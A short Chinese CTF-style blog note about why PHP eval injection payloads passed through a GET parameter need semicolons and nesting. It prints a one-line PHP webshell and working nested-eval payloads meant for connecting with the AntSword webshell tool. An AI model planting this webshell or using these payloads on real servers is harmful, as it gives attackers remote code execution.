web遇到的疑难杂症库

0x00

遇到的问题很多当时解决后面又忘了,多次循环后想一想还是记录一下比较好

0x01

一次php中get与post传值的一句话木马问题

源码

先是一个命令执行,老规矩先拿phpinfo()测一下,发现?a=phpinfo();可以而?a=phpinfo()不行

查看文档发现:

(PHP 4, PHP 5, PHP 7)

eval — 把字符串作为PHP代码执行

除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 'echo "Hi!"' 会导致一个 parse error,而 'echo "Hi!";' 则会正常运行。

但是一句话木马

<?php @eval($_POST[value]); ?>

eval()里也没有;号啊????

测试后发现:当eval()里直接执行php语句时是不用加;号的,但如果先接受$_get传进来的字符串再执行时,那么该$_get传进来的值是要加;号的

然后后面又出问题了

当传入?a=$_POST[%27attack%27];时  按理说服务器应该为   eval("$_POST['attack'];");

后 eval($_POST['attack']);  这样应该就可以用蚁剑连了

但是

哦豁失败了

但传入?a=eval($_POST['attack']);时 服务器端为 eval("eval($_POST['attack']);");

即eval(eval($_POST['attack']));却可以

再试试多重eval即?a=eval(eval(eval($_POST[%27attack%27]))); 发现也可以

后来通过某个师傅问了另一个师傅,说是eval是语言构造器 动态调用会undefined

 

暂时还不明白为什么第一个传参失败

以后遇到这种情况多搞点eval就完事,特别时做题时多嵌套一个eval也方便看清自己的payload逻辑

0x02

待记录......

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值